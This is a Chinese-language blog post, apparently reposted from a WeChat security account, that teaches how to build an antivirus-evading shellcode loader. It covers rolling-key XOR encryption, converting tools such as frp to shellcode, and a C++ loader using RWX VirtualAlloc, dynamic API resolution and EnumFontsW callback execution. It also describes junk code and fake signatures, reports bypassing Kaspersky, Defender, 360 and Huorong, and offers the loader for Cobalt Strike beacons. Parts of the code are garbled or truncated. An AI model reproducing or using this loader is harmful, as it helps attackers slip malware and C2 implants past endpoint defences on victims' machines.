xor-loader(bypass)
使用简单的 xor + 分离加载 shellcode 实现常用工具如 fscan、frp 等工具的快速免杀,也可以当作 cs 的 loader
改进 xor 过 shellcode 静态检测
常用的 xor 异或混淆采用逐字节与 key 进行异或,但是这种方式的加密对 shellcode 的混淆程度很低,无论设置怎样的 key 都很难 bypass 杀软
unsigned char xor_byte(unsigned char byte, unsigned char key) {
return byte ^ key;
}
以 frp 为例:
免杀效果一般,很容易就会被杀
以下对上面的 xor 代码进行以下改进,让待加密的数据每一位异或的 key 都不一样,发现静态查杀全绿
void xorencrypt(unsigned char* data, std::sizet size, const unsigned char* key, std::sizet keysize) {
for (std::size_t i = 0; i < size; i++) {
data[i] ^= key[i % key_size];
}
}
尝试裸的 cs4.9 的 beacon 马,可以看到也是全绿
pe2shellcode
使用 pe2shellcode 工具将需要转换的工具如 frp 转换为 shellcode,然后加载 shellcode 执行
转换工具 1-PengCode:https://github.com/Mephostophiles/PengCode
转换工具 2-pe2shc:https://github.com/hasherezade/petoshellcode(.NET 的 PE 文件不适用)
先进性刚刚的 xor 异或,对转换后生成的 shellcode 进行一个静态免杀
然后使用一个简单的 shellcodeloader 加载
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
using namespace std;
void xor_decrypt(unsigned char* data, std::size_t size, const unsigned char* key, std::size_t key_size) {
for (std::size_t i = 0; i < size; i++) {
data[i] ^= key[i % key_size];
}
}
int main(int argc, char* argv[]) {
// 打开要读取的加密 shellcode 文件
string encryptFilePath = "C:\Users\admin\Desktop\ConsoleApplication1\x64\Release\frpc_xor.enc";
ifstream file(encryptFilePath, ios::binary);
if (!file) {
cerr << "打开要读取的加密 shellcode 文件失败" << endl;
}
}
// 2、读取加密 shellcode
file.seekg(0, ios::end);
size_t fileSize = file.tellg();
file.seekg(0, ios::beg);
vector
file.read(reinterpret_cast
file.close();
// 3、解密
const unsigned char key[] = "mykey123";
size_t keySize = sizeof(key) - 1; // 字符串数组末尾有个'0',所以长度要减 1
xor_decrypt(encryptData.data(), fileSize, key, keySize);
// 4、执行
unsigned char* shellcode = new unsigned char[fileSize + 1]; // 申请一块无符号字符地址空间
copy(encryptData.begin(), encryptData.end(), shellcode); // 将解密后的数据复制到 shellcode 指针变量中
void* addr = VirtualAlloc(nullptr, fileSize, MEMCOMMIT, PAGEEXECUTE_READWRITE);
memcpy(addr, shellcode, fileSize);
((void(*)())addr)();
delete[] shellcode;
return 0;
}
可以正常执行,但是 loader 没做任何处理,毫无疑问,很容易被杀
loader 改进 - 1
以上 loader 有两个容易被杀的点,一个是 VirtualAlloc,一个是执行方式 ((void(*)())addr)()
1、使用动态调用的方式动态加载 VirtualAlloc 函数
typedef LPVOID(WINAPI* MyVirtualAlloc)(LPVOID, SIZET, DWORD, DWORD);
MyVirtualAlloc VirtualAlloc = (MyVirtualAlloc)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "VirtualAlloc");
void* addr = VirtualAlloc(nullptr, fileSize, MEMCOMMIT, PAGEEXECUTE_READWRITE);
2、更换执行方式,如使用回调函数执行
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)addr, NULL);
loader 改进 - 2
添加图标资源
多做几次计算和 if 判断再执行 shellcode,加入一些没有意义的代码例如:打印系统时间、数学矩阵运算、计算圆周率等等
减少了一个
其他的就得针对这几个杀软研究如何 bypass 了,目前的话在国内做到这里完全够用了
不足
1、这只是个简单的 loader,没有做内存免杀,内存免杀得根据不同的工具和杀软进行针对性的测试
2、有的工具无法进行 pe 转 shellcode,还有待进一步解决
测试结果
卡巴斯基
defender
360
测试 360 得加上假的签名
也可以直接当作 cs 的 loader
完全 bypass 不涉及内存查杀的杀软
火绒
原文始发于微信公众号(白帽子社区团队):xor-loader(bypass)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论